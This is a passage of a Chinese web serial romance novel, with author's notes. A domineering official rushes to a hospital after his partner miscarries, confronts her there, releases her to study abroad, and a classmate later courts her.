就在他转身准备回到活动现场时,口袋里的手机突然震动,他看向亮起的屏幕,是阿星。 阿星这个时间应该在学校外面守着陈知念,没有事绝不会打扰他。 他淡淡接起电话,然而就在两秒后,他对着电话那头嘶吼起来,声音是从未有过的暴戾与失控,连脖颈处的青筋都绷了起来:“你他妈说什么?!” 怒吼声裹挟着滔天的惊怒,严彬眉心一跳,惊诧地看向他,什么事能让洛哥这样失态? “哪家医院?!” 得到答案的瞬间,陈寅洛猛地掐断电话,甚至来不及装回口袋,直接攥着手机转身,像一头被彻底激怒的雄狮,膛剧烈起伏着,朝着山门外大步冲去,脚步快得要跑起来,沿途的僧人被他的气势惊得纷纷避让,手里的念珠都忘了转动。 “车!”他一边疾走,一边冲严彬喊:“去维璟私立医院!快!” 上山时十几分钟的路程,陈寅洛只用了三分钟就到了山脚。严彬快跑着跟上,正准备拉开驾驶座的门,就被他一把拽开,“滚后面去,我来开!” 他几乎是撞进驾驶座,引擎在下一秒发出野兽般的咆哮,轮胎在地面摩擦出刺耳的声音,黑色轿车像离弦的箭一样冲了出去,路边的行人和车辆都被这突如其来的车速惊得纷纷避让。 盘山公路的急弯一个接一个,在陈寅洛手下却成了能肆意碾压的直线。他双手紧握着方向盘,目光死死盯着前方,车速表的指针疯狂向右摆动,很快就超过了最高限速。窗外的树木、护栏模糊成一片飞逝的色块。 终于驶进 城区,轿车依旧没有减速,一路闯红灯,鸣笛声尖锐地划破城市的宁静。沿途的交警见状想拦,却根本追不上这疯了般的车速,只能眼睁睁看着黑色轿车消失在车流里。 就在这时,前方路口突然冲出来一辆银色轿车,没注意到闯红灯的陈寅洛,慢悠悠地行驶在路中央,挡住了去路。 “小心!”严彬在后排惊呼出声。 可陈寅洛连眼都没眨,非但没踩刹车,反而又加了一脚油门!只听“砰”的一声巨响,黑色轿车狠狠撞在银色轿车的侧方,银色轿车被撞得往前滑出两米多远,车尾瞬间凹陷变形,碎片飞溅。 严彬被巨大的冲击力甩得撞在椅背上,五脏六腑都像移了位。他刚缓过神,就看到陈寅洛已经俯身从副驾底下抄起一个红色灭火器,推开车门,带着一身煞气径直冲了下去。 洛哥居然用灭火器,不用枪?!! 银色轿车的车门也被推开,一个男人怒气冲冲地下来,指着陈寅洛破口大骂:“你这人怎么回事,怎么不遵守交通规则——” “你!你想干什么??!有话好好说!” 陈寅洛根本不答话,手臂抡圆了,带着摧毁一切的狠劲,将那金属罐体狠狠砸向司机的头部! “哐”的一声闷响,伴随着头骨与金属撞击的可怕声音。司机连哼都没哼出一声,直接瘫软在地,鲜血瞬间从额角汩汩涌出,很快染红了身下的路面,触目惊心。 陈寅洛看都没看地上的人,随手将染血的灭火器丢掉,然后转身回到驾驶座,再次猛踩油门。 后座的严彬看着陈寅洛紧绷的侧脸,心下骇然。他跟了洛哥这么多年,见过他无数狠戾的手段,却从未见过他像现在这样,完全抛弃了上位者的从容,退化成一头发了疯的野兽。 二十分钟后,陈寅洛冲进维璟私立医院。阿星正焦急地在抢救室门口来回踱步,看到他来,连忙迎上去:“老大,您来了!医生还在里面抢救,还没出来……” 见到陈寅洛到来,医院妇产科专家周院长立即迎上来:“陈委员,您爱人目前的情况很危急,孕早期大出血,子宫内还有残留血块,我们已经做了紧急止血,但出血点还没完全控制住,随时可能……” “随时可能什么?”他一把拽住周院长的衣领,眼底满是猩红:“那你他妈还站在这跟老子说废话?不去里面盯着?!” 他的怒吼声在走廊里炸开,路过的护士吓得连忙低头避开,连大气都不敢喘。 周院长手心全是汗,斟酌道:“现在面临两个选择:一是冒险继续保胎,但大出血可能危及母体;二是终止妊娠以确保大人安全。我们需要您——” “保大人。”陈寅洛斩钉截铁打断,甩开他:“孩子无所谓,用尽一切办法,必须保住大人。” “是是!陈委员您放心!我们马上安排手术,一定尽全力保住夫人!” 说完,他不敢再耽搁,转身就往抢救室跑,一边跑一边对着护士喊:“通知手术室,立即准备终止妊娠手术!让麻醉科和血库做好准备,优先保障手术用血!” 时间一分一秒地过去,抢救室的红灯始终亮着。陈寅洛没有坐,颓然地依靠在墙壁。 忽然间,静安大师那句偈语鬼魅般浮现: 万法皆空,因果不空。 他这辈子作恶多端,是不是全报应在了手术台上那个奄奄一息的人身上? “严彬!!严彬!给老子滚过来!” 陈寅洛突然朝着走廊尽头吼出声,声音里带着压抑的嘶吼,惊得路过的护士手里的托盘都差点掉在地上。 严彬正站在不远处打电话安排撞车的后续事宜,听到吼声,连忙挂了电话,疾步跑过来,脸上满是慌乱:“洛哥,什么事?!是不是里面有动静了?” 陈寅洛狠狠滚了滚喉结:“你现在就去办一件事——成立一个基金会,以陈知念的名义,先定向捐款一个亿,全部捐给白塔城的福利院,资助那些无家可归的孩子。” “快去!一个小时之后我要看到落地结果!” 严彬愣住刹那,立刻躬身:“明白!我马上去办!” 看着严彬匆忙的背影,陈寅洛重新靠回墙壁,目光再次落在抢救室的红灯上。 他微微阖上眼。 如果上天真的有好生之德—— 我愿意用这些功德,换他们母子平安。我用这笔钱,买陈知念一生顺遂,无病无灾。 不知过了多久,抢救室的门终于被推开。 陈寅洛面无表情地站直身子,紧紧盯着走出来的周院长等人。 上天会听到他的祈祷吗? 第88章 陈寅洛张了张嘴,想立刻追问,可话到嘴边,却突然发不出声音。过往的冷静与狠戾在此刻崩塌,只剩下赤裸裸的忐忑,怕听到那个最坏的结果,怕自己所有的祈祷都成了徒劳。 周院长似乎看出了他的紧张,快步走上前,“手术很成功。” 这短短五个字,像一道光,瞬间驱散了走廊里的压抑。 陈寅洛紧绷的身体猛地一松,眼眶竟有些发热,他连忙别开脸,深吸一口气,才重新看向周院长:“她现在怎么样?我什么时候能见她?” “夫人刚醒过一次,又睡着了,现在还在麻醉恢复期,暂时不能探视。”周院长解释道,“我们已经把她转到VIP病房了,等她情况稳定些,您就能去看她了。” 陈寅洛下颌线微微收紧,对这个“暂不宜探望”的答案显然不悦,但并没有发作。 “用最好的药,安排专人看护。后续的治疗,有什么需要,随时跟我说。” “应该的,应该的。” 周院长连忙点头应下,心里彻底松了口气。这位爷没迁怒,已经是万幸了。 医生退去后,陈寅洛才在长椅上坐下。习惯性地往嘴里丢了两粒口香糖,又恍然想起孩子都没了,还戒什么烟? 嚼了嚼,他忽然发问:“沈星,你说,到底怎么回事?” 陈知念好好在学校待着,怎么会无缘无故大出血,一定是发生了什么事。 听到老大连名带姓喊他,阿星耷拉着脑袋,声音发虚:“老大,我本来按惯例在学校外面等嫂子放学……结果突然看到一群人慌慌张张地抱着她冲出来,浑身是血,说要赶紧送医院……” “说重点。” “是,我听她那个同桌说是……是……”阿星小心翼翼撩眼看向陈寅洛,剩下的话他不敢说。 陈寅洛眼刀扫去:“舌头被猫叼了?不想要就直说。” “老大!”阿星心一横,全盘托出:“听说是因为看到了您要和林曼薇订婚的新闻!嫂子情绪受到剧烈刺激,才引发的急性大出血。” 是因为他? 是他的订婚新闻,是他随手批的可以发布。 “你出去吧。”他沙哑着挥了挥手。 阿星看着老大这副颓然萎靡的模样,张了张嘴想劝一句,但最终还是什么都没说,转身就往外走。 “等等。” 陈寅洛叫住他,声音沙哑。阿星回过头,看见老大朝他伸出手,掌心向上:“烟。” 阿星愣住了。老大不是为嫂子怀孕戒了吗?但他不敢多问,连忙从口袋里摸出烟盒递过去。 陈寅洛接过,抽出一根叼在嘴里,“火。” 阿星赶紧掏出打火机凑过去。火苗窜起的瞬间,他看见陈寅洛的手在微微发抖。 深吸一口烟,烟雾在口腔里停留了几秒,才缓缓吐出来,呛得他忍不住咳嗽了两声。 太久没抽烟,连喉咙都不适应了,视线都有点发晕。 烟一支接一支地抽,很快,地上就落了十几个烟蒂。 又过了大概一个小时,护士从病房里走出来,看到陈寅洛,连忙说道:“陈先生,夫人醒了,您现在可以进去看她了。” “嗯。”陈寅洛踩灭烟蒂,才缓缓站起身。 病房里静得能听 到输液器“滴答滴答”的声响,陈知念靠坐在床头,阳光下,她的脸色苍白得能看见青色的血管。那双总是含着水光的眼眸,此刻像两枚被磨去光泽的黑曜石,空洞地望着窗外。 一瞬间,陈寅洛竟然会觉得呼吸发滞,心跳骤停。 他站在原地凝视了她近一分钟,才终于迈步走进病房。 “陈知念。”他走近,“医生说你还需要好好休息,要是累了,就再睡会儿。” 陈知念没理他,依旧看着窗外。 “孩子还会再有的。” 他想,她应该是醒来后,知道失去了孩子所以才这么难过。 陈知念缓缓转过头,眸光落在他脸上,带着讥讽:“孩子?谁想要你的孩子?” 眼底泛起酸涩,嘴上却不留情:“孩子没了,对于我来说才是好消息。” “你说什么?” 陈寅洛脚步顿住,额角的青筋骤然暴起。但下一瞬,他又强自压下心底肆虐的怒意。 她只是一时接受不了现实,口不择言。 他能理解。 可让他没想到的是,陈知念骤然拔高了声音,一字一句道: “我说,我巴不得这个孩子没了!!你以为我想要怀上你的孩子?陈寅洛,你太自以为是了!” 她的眼底越来越红,脸色越来越苍白,可凝视着他的眼神怨恨却越来越浓。 陈寅洛喉结重重滚动,克制道:“陈知念,我可以当作什么都没听到。你刚捡回一条命,别折腾自己。” “听见了又怎么样?”她轻轻扯了扯唇角,“你又要把我关起来吗?然后呢,做你见不得光的情人?再生下一个见不得光的私生子?” 原来她所有尖锐的刺,都根源于此。 陈寅洛心头的燥郁奇异地被这句话抚平了些许。 “那不过是一场政治联姻,我跟林曼薇之间没有任何感情,也不会有任何牵扯。它不会改变任何事,更不会影响你在我这里的位置。” 他甚至因她这份在意而感到一丝隐秘的满足,俯下身,双手撑在她病床两侧。 “如果你想要的是这个——” “没问题,等你能出院,我们立刻就去登记。婚礼你想要什么样的,就办什么样的。” “结婚?”她嗤笑,“陈寅洛,你别忘了,我们之间的关系,从一开始就是你强迫我的,我从来没有心甘情愿过!” 她猛地抬手挥开他撑在床边的手臂,“你现在说要结婚?用一张纸把□□变成婚姻?你觉得这样就能抹掉一切吗?” 陈寅洛被她的话语刺得心头一窒,却仍强压着怒火试图握住她的手:“过去是我做的不对,但以后……” “陈寅洛,你知道吗?”陈知念放轻了声音,“每一次你碰我,我都需要用尽全力,才能压下喉咙里的呕吐感。我一看到你,就觉得反胃,想吐。” 声音轻得像浮云,却落下最致命一击。 陈寅洛眼底最后一丝克制彻底崩断,他猛地欺身而上,一手死死扣住她的手腕按在枕边,逼近她因失血而苍白的脸。 “恶心?那你每次在我身下绞着我颤的样子也是装出来的?你说啊!” 这句话脱口而出的瞬间,连他自己都愣住了。他没想过会用如此不堪的方式与她对峙。 可话已经说出口,像泼出去的水,再也收不回来了。 陈知念的脸色瞬间惨白如纸,比之前还要难看,嘴唇剧烈地颤抖着,眼里充满了震惊、屈辱与不敢置信。她死死盯着陈寅洛,像是第一次认识眼前这个男人,原本就微弱的呼吸骤然急促起来。 监护仪突然发出尖锐的警报声——她的心率急剧飙升。 护士闻声冲进病房,想要强行隔开两人:“病人需要静养!请家属先出去!您这样会刺激到她的!” “滚出去!” 陈寅洛头也不回地冲着护士暴喝,猩红的眼底只有陈知念那张失去所有血色的脸。 可下一秒,更多穿着白大褂的身影涌了进来,为首的周院长看到监护仪上疯狂跳动的数字,脸色大变,也顾不得许多了: “陈委员!请您立刻离开!病人血压在急剧下降,发生室速了!需要立刻急救!” “急救”两个字像一盆冰水,对着陈寅洛当头淋下。 他扣着她手腕的力道下意识地松开,只见她双眼紧闭,胸口剧烈地起伏竭力呼吸,去像是怎么也吸不进氧气,脸色逐渐灰白。 “陈知念,陈知念……你醒醒,把眼睛睁开,我不吵了。” “听见没有?”他喉结滚动,“我认输。” 这时心电监护仪突然发出更尖锐的长鸣,医生猛地推开他:“室颤!准备除颤!肾上腺素1mg静推!快!” 他踉跄着后退两步,撞在冰冷的墙壁上。 他看着医护人员瞬间围住病床,有人快速解开陈知念的病号服,有人准备除颤仪,有人拿着注射器快速扎进她的静脉,耳边全是医生护士急促而专业的指令声,还有除颤仪充电时的“嗡嗡”声。 除颤仪的电极板贴在陈知念的胸口,一道电流瞬间通过她的身体,她的身体猛地抽搐了一下,随即又恢复了平静。 “再来一次!能量调至200J!” 陈寅洛死死盯着病床的方向,却在下一秒看到护士拽起蓝色布帘,“唰”地一下拉了起来,彻底隔绝了他的视线。 “让我进去!” 他像一头被刺伤的野兽,低吼着就要冲向那片隔绝一切的布帘。但立刻被五六名医护人员组成的人墙死死拦住。得到消息疾奔而来的严彬和阿星也赶到,两人一左一右用尽全力抱住陈寅洛的胳膊。 “让我进去!!” “老大!医生在救人!” “陈委员,您不能进去!现在正在急救,您进去会影响我们的!” 陈寅洛奋力挣扎,手臂肌肉绷紧,额角青筋暴起。严彬被他甩开,又拼命扑上来从后面锁住他的腰。 “陈先生!您现在进去会干扰抢救!这是在拿她的生命冒险!” 听到这句话,他终于停止了所有动作。 倚着墙壁,缓缓滑落—— 作者有话说:[爆哭][爆哭]接近结尾了,我写的时候也很难受。 其实按照我本来的设想,还有挺多的剧情没有写到的。 亲手创造出他们,就快要和他们说再见了。 在我的心里,他们不是纸片人,他们都是真实存在的 第89章 不知过了多久,布帘后的除颤声终于停了下来,监护仪的警报声也渐渐缓和,变成了平稳的“嘀嘀”声。周院长疲惫地拉开布帘,摘下口罩道:“稳住了,心率和血压都慢慢恢复正常了,暂时脱离危险了。” 陈寅洛缓缓站起身,无力的眼神落在周院长脸上。 这一刻,他前所未有地清晰意识到——这世上竟真有他竭尽所有也无能为力的事。 金钱与权力铺就的道路,并非无所不能。 他只能眼睁睁看着她命悬一线,他却什么都做不了。 “我能进去看看她?” “病人还在昏迷中,需要继续观察,现在还不能探视。” “陈委员,我知道您担心病人,但您刚才的行为太危险了!病人刚经历过大出血手术,情绪绝对不能受刺激,您要是再这样,就算我们医术再高,也救不了她!” 陈寅洛垂眸:“好。” 周院长叹了口气,“病人需要转到ICU观察24小时,等情况稳定后再转回普通病房。您就在外面等着吧,有任何情况,我会第一时间通知您。” 说完,周院长转身回到病房,指挥护士将陈知念抬上移动病床,准备转往icu。 陈寅洛站在原地,看着病床上昏迷不醒的陈知念,脸色依旧苍白,嘴唇上没有丝毫血色,连呼吸都显得格外微弱。 他想上前,想再靠近一点,却被周院长拦住:“icu家属不能进去, 您就在外面等着吧。” 转运床的轮子发出轻微的滚动声,缓缓消失在icu厚重的自动门后。 “洛哥,您别太担心,嫂子已经脱离危险了,会好起来的。”严彬安慰道。 这时,雷子匆匆赶到医院走廊。他看着靠在墙边,面露颓唐的陈寅洛,一时不知该不该开口,只得用眼神向严彬求助。 严彬微微摇头,示意自己也做不了主。 一片寂静中,陈寅洛缓缓抬眼:“说吧。” 雷子也不是个会迂回的肠子,洛哥既然发话了,他自然是全部托出:“洛哥,查到了。陈毅衡一家已经办好了所有的签证信息,就连曼萨尼约的住所也已经找好了。只等嫂子考上洛桑威尔后,就全家移民过去。” 严彬看到陈寅洛放在膝头的手颤了颤,而后十指交叠,抵在了唇间。 那是一个试图压抑情绪的动作。 那晚在书房,他其实早就看见了习题册下压着的那本洛桑威尔报考指南。 他不是没察觉,只是不愿意相信,她真的就背着他策划了一切。 原来……她一直都想要逃离他,从来都没有变过。 即使有了孩子,也没有改变过一丝一毫。 “洛哥……”雷子想说点什么,但嘴太笨,半天找不出词。 陈寅洛垂下眼睑,遮住了所有情绪:“我知道了。” 雷子看着洛哥这副模样,心里着急,一咬牙,还是把最实际的问题问出了口:“那……洛哥,咱们要不要做点什么?比如,派人去拦着?或者,给他们找点……麻烦?” 他话没说全,但意思很清楚。是否要动用手段,阻止陈毅衡一家离开,甚至让他们根本走不成。 陈寅洛依旧垂着眼。 他忽然觉得很累。 一种深入骨髓的疲惫彻底席卷了他。 他低着头,伸出食指和中指:“给我根烟。” 严彬立刻从口袋里摸出烟盒,抽出一支递过去。陈寅洛垂着眼帘接过,含在唇间。 他赶紧掏出打火机,“咔哒”一声,火苗窜起。 陈寅洛凑近点燃,深吸一口。他靠在墙上,仰头吐出一缕灰白的烟圈,看着它缓缓消散在医院的白色灯光里。 “都出去。”他沙哑道:“让我一个人待会。” 严彬和雷子对视一眼,默默退到走廊转角处守着。 陈寅洛靠在冰冷的墙壁上,医院的白色灯光将他的身影拉得细长而孤寂。他垂着眼,静静地吸着烟,所有的惊涛骇浪都被封锁在这具看似平静的躯壳之内。 他低头看向自己的手,这双持枪时稳如磐石的手,现在却抖得连一支烟也握不住。 原来她刚才说的根本就不是气话,而是她隐藏了很久的心里话。 孩子在她的眼里,只是逃离路上的阻碍,她从来没有期待过。 —— 两天后,陈知念终于脱离了危险,从icu转回VIP病房。 她缓缓睁开沉重的眼睑,首先映入眼帘的,就是陈寅洛的身影。 一米九的身影斜斜倚在门边,穿着一件纯黑的衬衫,最上方两颗纽扣松散地解开着,下身是一条黑色略宽松的西裤,松松垮垮地挂在他腰上。 嘴里叼着一根未点燃的香烟,那双墨黑的眼眸垂落而下,落在自己身上。 整个人透出一种久违的、混不吝的落拓。 陈知念愣了愣,恍然间似乎又见到了自己刚到禁区时的陈寅洛。 也是这般漫不经心中透着掌控一切的姿态。 “醒了?”他取下唇间的香烟夹到指尖。 陈知念这才后知后觉意识到,他似乎已经很久没在自己面前抽过烟了,就连身上那常年萦绕的烟草味,也淡得几乎闻不见。 甚至每次见到他,他嘴里都是嚼着口香糖。 陈知念抬眸看向他。 她已经醒来了差不多一两分钟,可陈寅洛却始终倚在门口,没有靠近一步。 “陈知念。”他开口。 她静静看向他,眼底带着一丝不易察觉的警惕,等待下文。 陈寅洛又将烟放进嘴里,狠狠咬了咬,像在借此汲取某种力量。而后他浅浅勾了唇,语气轻飘飘的: “陈知念,我玩够了。” “你太脆弱,经不起折腾,没意思。”他继续说,目光却从她脸上移开,“看在你陪了我这么久的份上,我就放你一马,不跟你计较了。” “从今天起,我们一拍两散,两清了。” 每一个字都是陈知念最期盼、最想听到的,可真的从他嘴里说出来,落在她心上,却忽然感到有点窒息。 “你爸妈那边的签证,我已经让严彬帮你们确认过了,没问题;曼萨尼约给你备了套别墅,手续办妥了;洛桑威尔也联系好了,不用考,直接去读就行。” 他顿了顿,目光从窗外移到天花板,就是不肯再落回她脸上。 “钱我也给你留了,足够你和你家人在那边生活。以后……你就不用再跟我有任何牵扯了。” 陈知念怔怔地看着他,心里像被什么东西堵住了,喘不过气。 她没想到陈寅洛会说出这番话,这根本不像他,就像一夜之间换了个人。 更没想到的是,他会把她离开的一切都安排妥当。就像他早就做好了准备,等着跟她“两清”。 “你……”她张了张嘴,声音有些发颤,“你说的是真的?你真的愿意放我走?” 陈寅洛喉结滚动了一下,随即轻松道:“当然是真的。我陈寅洛要什么样的女人没有?你真以为我会吊死在你这一颗树上?” 他仰头看着天花板,从陈知念的角度根本就看不见他的眼眸,只能看到他紧绷的下颌线,以及那轻松闲适的姿态。 一个人真的会变得这么快吗? 纠缠了这么久,来来回回纠缠了这么久,现在轻而易举就要放她走了吗。 “为什么?”她忍不住问,“你之前说的那些话,都是假的吗?就连结婚,也是骗我的?” 问完,她当即就后悔了。 她差点忘了,陈寅洛的结婚对象是林曼薇。 说不定就是为了林曼薇,所以要来解决掉自己这个麻烦。 他轻笑一声:“那些话,不过是一时兴起。现在我腻了,自然就不算数了。陈知念,好好养病,痊愈后你就可以走了。” 说完这句话,他不打算再停留,转身就走。 “陈寅洛!!” 陈知念急切地叫出声,陈寅洛停住脚步,却没有转身。 “还有事?” “你……”陈知念看着他的背影,心里充满了矛盾,“你以后……会怎么样?” 也许他们以后……真的再也不会再见面了。 陈寅洛身影一僵,过了几秒,才缓缓开口:“我怎么样,跟你没关系了。你只要记住,我们两清了,以后不要再联系了。” 说完,他不再停留,快步走出了病房,并顺手关上了门。 病房里再次恢复了寂静,只剩下监护仪平稳的“嘀嘀”声。 陈知念看着紧闭的房门,明明该欢喜、该雀跃,眼泪却毫无预兆地落了下来—— 作者有话说:[爆哭][爆哭][爆哭][爆哭]我一整个爆哭,一边码一 边哭。 明明爱得要死,还要故作轻松 谁说小洛同学不知道怎么爱一个人的 他只是还没有学会[爆哭][爆哭] 第90章 陈寅洛说到做到,那天之后,他再也没有在陈知念面前出现过。 出院这天,陈父陈母在收拾东西,陈知念静静躺在病床上,无神的视线落在病房门口,直到苏婉唤了她第三声,她才恍然回过神。 “念念,我们走吧,王叔叔已经停好车在楼下等我们了。” 陈知念缓缓转头,视线落在母亲泛红的眼尾。 “好的,妈妈。” 她慢腾腾从床上坐起,苏婉在一旁扶着她。病号服的袖口空荡荡地晃着,露出的手腕细得仿佛一折就断。 想到自己女儿这段时间遭遇的一切,苏婉又忍不住要掉眼泪。她的女儿怎么这么可怜,她才刚过十八岁阿,她应该拥有美好的未来,考一个好大学,找一份安稳平淡的工作,然后和心仪的人结婚生子。 不过一切都还来得及。 听说是陈寅洛亲口说的,以后再也不会联系了。 那些被搅乱的日子,总会慢慢回到正轨的。 三人坐着电梯来到地下车库,车已经停在电梯厅旁,陈毅衡帮母女俩拉开车门,苏婉扶着陈知念坐进车内。 城邦委员会办公室。 严彬在外轻扣门,等了一会儿没声音,就推门而入。 办公室内,陈寅洛坐在宽大的黑檀木办公桌后,整个人埋首在堆积如山的文件堆里。他穿着一身笔挺的深灰色西装,领带系得一丝不苟,与前几日在医院时的颓唐判若两人。 “洛哥。”严彬犹豫了一下,“陈小姐今天出院了。” 钢笔在纸面上顿了顿,墨迹洇开一个小点。陈寅洛垂着眼帘,浓密的睫毛在颧骨投下浅淡的阴影,眼底情绪几近匮乏。 严彬自认为自己是个识趣、懂脸色的人,不该多管闲事,但此刻他却觉得自己有必要不识时务地提醒一下:“您不去看看吗?” “不去。”陈寅洛翻开下一页,“很闲?西区地块的招标方案整理好了?” —— 两个月后,曼萨尼约机场,陈知念一家三口降落。 曼萨尼约是一座海岛小城,带着海岛独有的湿热气息,雪白的房屋从海岸边一直层层叠叠地蔓延至苍翠的山坡上,像上帝不小心打翻的奶油。 无数圆顶教堂的蓝色穹顶在阳光下闪闪发光,与远处蔚蓝到不真实的海水和天空连成一片,纯净得令人心颤。 高底盘的老式汽车和轰鸣的摩托车在狭窄的街道上穿梭,街头音乐家靠在蓝白相间的墙壁上,指尖流淌出慵懒的玛伦盖旋律,路边的小贩推着木制餐车,吆喝着Gyro和Tzatziki。 录取通知书在一个月前就已经寄给陈知念,她最终没有选文化遗产保护与修复专业,而是选了新闻系。 或许是因为,在经历了自身故事的一片狼藉后,她渴望走进更多人的生命现场。在倾听与记录不同灵魂的挣扎与选择时,她希望能看清自己命运的脉络,将自身无法消化的感受,淬炼成理性的文字。 大学生活徐徐展开。 新闻系的课堂设在一栋鹅黄色的殖民风格建筑里,老式的吊扇在挑高的天花板上缓缓旋转,搅动着湿热的海风与教授略带口音的英语。 “新闻的意义,不是记录标准答案,而是看见每个灵魂的褶皱。” “真正的客观,并非冷漠,而是理解偏见的存在,并竭力超越它,去呈现事实的多棱面。” 陈知念在课本上记着笔记,Kaia毛茸茸的脑袋已经从旁边探了过来,书本像个小帐篷似的遮在头顶,压低了声音:“Iris,明晚是社团的圣诞派对,你会参加的对吗?听说有超棒的Salsa乐队!” 她抬起眼,对上Kaia浅褐色的眼眸。Kaia是她在新闻系认识的第一个朋友,拉丁美洲人,性格像这里的阳光一样直接而热烈。 “我……” 陈知念下意识想拒绝,教授留了课题,她明天下午想去实地采访。 “别拒绝我!”Kaia看穿她的犹豫,热情道:“就是很随意的聚会,大家一起聊天吃东西!我保证不让你落单,而且有超好吃的TresLeches蛋糕!” “而且……” Kaia又凑近了一些:“实话告诉你吧,是Kenny偷偷拜托我的,说‘无论如何,一定要邀请到Iris’!你要是不去,他肯定会很失望的。” 提到Kenny,陈知念愣了一下。Kenny是她在帆船俱乐部认识的男孩,他有一头浅金色卷发,笑起来时,那双纯净的天蓝色眼睛会弯成月牙,高挺的鼻梁上散落着几颗标志性的小雀斑,露出两颗尖尖的小虎牙,带着清澈和真诚。 “他为什么要邀请我?”陈知念不解,他们交集并不算多,就算有,也不过是俱乐部活动时的偶尔帮忙,算不上熟悉。 Kaia说:“Iris,你真傻。Kenny什么时候主动拜托过别人邀请女生?上次Sophia那样拜托他,他都害羞得绕着走!我敢用我祖母的柠檬树打赌,他绝对对你有意思!” “而且你难道忘了吗?之前帆船训练你意外落水,是谁想都没想,第一个就跳下去把你捞上来的?不就是他吗?” 那是刚进俱乐部不久的一次训练。陈知念站在摇晃的船沿,正试图拉紧缭绳,一阵突如其来的侧风让船身猛地倾斜,她脚下一滑就栽进了海面。 咸涩的海水瞬间淹没了她的口鼻,更可怕的是,缠在脚踝上的安全绳骤然收紧,让她无法逃脱。 就在她意识开始模糊时,“扑通”一声,一道身影毫不犹豫地破开水面,急速向她游来。 是Kenny。他潜到她身边,一手果断地拔出腰间的□□,利落地割断了缠住她脚踝的绳索。另一只手则稳稳地托住她的腰,将她带离那危险的船底,奋力向水面游去。 陈知念犹豫了一会,还是决定答应。 “好的,我会参加的。” 派对在校园一栋面向海湾的开放式建筑里举行。人比陈知念预想的要多,一张长条木桌上摆满了食物,金黄色的炸鱿鱼圈、堆成小山的玉米饼、还有Kaia极力推荐的、淋着奶白色酱汁的TresLeches蛋糕。 角落的拉丁乐队正演奏着节奏明快的萨尔萨舞曲,吉他手穿着花衬衫,脚边放着一个椰子壳做的沙锤,手鼓手里的鼓槌敲出欢快的节奏,不少人已经站起来,在空地上随着音乐摇摆身体。 “Iris!这里!”Kaia像一只绚丽的热带鸟,从人群中钻出来,热情地挽住她的胳膊。 “快尝尝这个!是本地的百香果气泡酒,度数很低,很甜,特别适合女生!” 陈知念抿了一口,气泡在舌尖炸开,带着淡淡的百香果味,果然很清爽。 Kaia陪她呆了一会就被朋友拽走,她只能向陈知念保证,很快她就会回来,让她在这里等。 就在这时,一个熟悉的身影穿过舞动的人群,向她走来。 是Kenny。 他手里端着两杯饮料,浅金色的卷发在摇曳的彩灯下显得毛茸茸的。他好像刚和朋友们说完话,天蓝色的眼睛望向她时,带着一点显而易见的紧张。 “Iris。”他在音乐声中稍微提高了音量,将其中一杯递给她,“给你的……呃,番石榴汁,不含酒精。我记得你上次说过不太能喝酒。” 陈知念接过杯子:“谢谢。” “不客气。”Kenny在她身边站定,“你喜欢这个乐队吗?他们是本地挺有名的学生组合。” 陈知念不太关注这些,但还是礼貌回应道:“很不错,让人心情不自觉就好起来。” “要试试跳舞吗?”Kenny朝舞池方向偏了偏头,“我保证比帆船容易上手。” 陈知念视线投向那些肆意舞动身体的人,捏紧了手中的酒杯,“……还是不了,我不太会。” “没关系。” Kenny笑起来,露出两颗尖尖的小虎牙:“我也不会,我们可以一起丢人。” 陈知念垂眸看着手里的酒杯,她还是不太习惯这样张扬的场合,她只想龟缩在自己的安全壳里。 Kenny看着她紧抿的唇角,立刻明白了她的心思。他没有再坚持邀请,反而顺着她的目光看向远处的吧台,语气轻松地岔开了话题:“对了,我刚才好像看到吧台有你喜欢的椰子糖,要不要我去帮你拿几颗?” 陈知念愣了一下,抬头看向他。 她只在上次帆船训练后,随口提过一句喜欢椰子味的糖,没想到他竟然记在了心里。 “不用了,谢谢你。” “那好吧。”Kenny笑着点头,没有丝毫勉强,他指了指角落的乐队,“你在这里等我一下,我去跟乐队打个招呼,马上回来。” 没等她回应,他就转身小跑着冲向乐队的方向。只见他和吉他手交谈了几句,接过一把木吉他,试了几个和弦。 紧接着, 吉他手突然举起话筒,对着全场喊道:“各位!接下来这首,是我们的‘帆船少年’Kenny,要献给那位穿米白色裙子的漂亮女士!大家说,我们要不要听?” “要!”全场瞬间炸开了锅,原本在舞池跳舞的人纷纷停下动作,朝着Kenny和陈知念的方向望来。 有人吹起了响亮的口哨,还有人举起手机开始录像,几个认识Kenny的男生更是拍着桌子起哄:“Kenny,别害羞!拿出你开帆船的劲儿来!” 他不好意思地摸了摸后颈,浅金色的卷发下,耳尖红得像熟透的樱桃,可当他的目光穿越晃动的人群,再次落在陈知念身上时,眼神却变得格外坚定温柔。 “这首歌……送给Iris。” 天蓝色的眼睛直直地看向她,声音通过话筒传遍全场,带着青涩的紧张。 陈知念脸颊“唰”地红透了,放下酒杯就想逃离现场,却被Kaia从身后拉住:“Iris,不要逃。你看,他在为你变得勇敢。就站在原地,听完这首歌,感受这一刻。你值得所有真诚的心意。” Kaia说的没错,不管怎样,不能践踏别人的心意。 陈知念定了定神,竭力平静下来,望向舞台上Kenny。 “Wisemensayonlyfoolsrushin” “ButIcan’thelpfallinginlovewithyou” 智者说只有傻瓜才会去爱,可我仍情不自禁爱上你。 他的目光始终牢牢锁着她,天蓝色的眼睛里映着彩灯的光晕,像盛着整片星空。偶尔唱到动情处,他会轻轻闭上眼睛,睫毛在眼下投出浅淡的阴影,指尖在琴弦上灵活地跳跃,每一个音符都像在诉说着藏在心底的心意。 “ShallIstayWoulditbeasin” “IfIcanthelpfallinginlovewithyou” Kenny放下吉他,走到她面前。他挠了挠头,笑容腼腆又勇敢,“Iris,也许这样有点傻,其实从第一次在沙滩上看到你,我就……” 他的话还没说完,就被新的起哄声淹没了。他的那帮帆船俱乐部的朋友声音最大: “Justkissheralready,Kenny!”(快亲她呀,Kenny!) “Yougotthis,man!Yougotthis!”(你能行的!) Kenny的脸颊更红了,却还是鼓起勇气,认真地看着陈知念的眼睛,“我知道我可能有点唐突,从我在沙滩上看到你的第一眼起,我的心就被你占据了。我渴望能分享你的每一次采访,分享海边的每一个日出,我希望能成为你身边那个特别的人。你愿意给我这个机会吗?” 话音刚落,全场的欢呼声达到了顶峰。 Kaia直接抱住陈知念,激动地尖叫:“答应他!快答应他!” 周围的人也跟着一起喊:“答应他!答应他!”—— 作者有话说:[化了][化了]过渡章,我真的卡文,巨卡巨卡 HE包HE的哈~~别担心魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 90-96 第91章 洛桑威尔图书馆,陈知念抱着一摞《新闻采访与写作》、《深度报道案例集》,在靠窗的位置坐下。 